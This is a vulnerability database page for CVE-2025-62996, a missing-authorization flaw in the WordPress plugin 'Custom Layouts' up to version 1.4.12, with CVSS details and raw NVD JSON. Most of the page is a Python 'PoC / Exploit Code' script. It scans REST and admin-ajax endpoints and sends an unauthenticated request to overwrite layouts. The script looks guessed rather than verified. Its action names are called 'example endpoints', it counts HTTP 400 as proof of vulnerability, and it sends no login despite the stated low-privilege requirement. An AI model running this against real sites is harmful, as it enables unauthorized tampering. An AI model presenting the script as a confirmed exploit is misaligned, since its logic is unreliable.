Security Vulnerability Report
中文
CVE-2025-62996 CVSS 4.3 MEDIUM

CVE-2025-62996

Published: 2025-12-09 16:18:05
Last Modified: 2026-04-15 00:35:42

Description

Missing Authorization vulnerability in Code Amp Custom Layouts – Post + Product grids made easy custom-layouts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Custom Layouts – Post + Product grids made easy: from n/a through <= 1.4.12.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Custom Layouts – Post + Product grids made easy <= 1.4.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62996 PoC - Custom Layouts WordPress Plugin Broken Access Control # Target: WordPress site with Custom Layouts plugin <= 1.4.12 # Author: Security Researcher import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-62996 Missing Authorization in Custom Layouts plugin """ # WordPress REST API endpoint for custom layouts endpoints = [ '/wp-json/custom-layouts/v1/', '/wp-json/custom-layouts/v1/layouts', '/wp-admin/admin-ajax.php', ] # Target vulnerable actions (example endpoints) vulnerable_actions = [ 'custom_layouts_save_layout', 'custom_layouts_delete_layout', 'custom_layouts_get_layout', ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-62996 - Missing Authorization Vulnerability") print("=" * 60) # Check if WordPress is running try: response = requests.get(target_url, timeout=10, verify=False) if response.status_code != 200: print("[-] Target does not appear to be a valid WordPress site") return False except requests.RequestException as e: print(f"[-] Connection error: {e}") return False # Test unauthorized access to layout endpoints # This demonstrates the broken access control print("\n[*] Testing for missing authorization checks...") for endpoint in endpoints: full_url = urljoin(target_url, endpoint) try: response = requests.get(full_url, timeout=10, verify=False) if response.status_code in [200, 201, 400]: # Any response other than 401/403 indicates missing auth print(f"[!] Potential vulnerability at: {full_url}") print(f" Status Code: {response.status_code}") print(f" Response: {response.text[:200]}...") except requests.RequestException: continue print("\n[*] Manual verification steps:") print("1. Create a low-privilege user account (subscriber role)") print("2. Use the plugin's admin-ajax.php endpoint without proper nonce") print("3. Attempt to modify/delete layouts created by admin users") print("4. If successful, the vulnerability is confirmed") return True def exploit_demo(target_url, layout_id): """ Demonstration of exploitation Note: Only use on systems you have permission to test """ # Construct malicious request to modify layout without authorization exploit_data = { 'action': 'custom_layouts_save_layout', 'layout_id': layout_id, 'layout_data': '{"malicious_content": true}', # Missing nonce verification allows exploitation } target = urljoin(target_url, '/wp-admin/admin-ajax.php') print(f"\n[*] Sending exploit request to: {target}") print(f"[*] Payload: {exploit_data}") try: response = requests.post(target, data=exploit_data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.RequestException as e: print(f"[-] Exploit failed: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-62996.py <target_url>") print("Example: python cve-2025-62996.py http://example.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') check_vulnerability(target_url)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62996", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:05.037", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Code Amp Custom Layouts – Post + Product grids made easy custom-layouts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Custom Layouts – Post + Product grids made easy: from n/a through <= 1.4.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-layouts/vulnerability/wordpress-custom-layouts-post-product-grids-made-easy-plugin-1-4-12-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}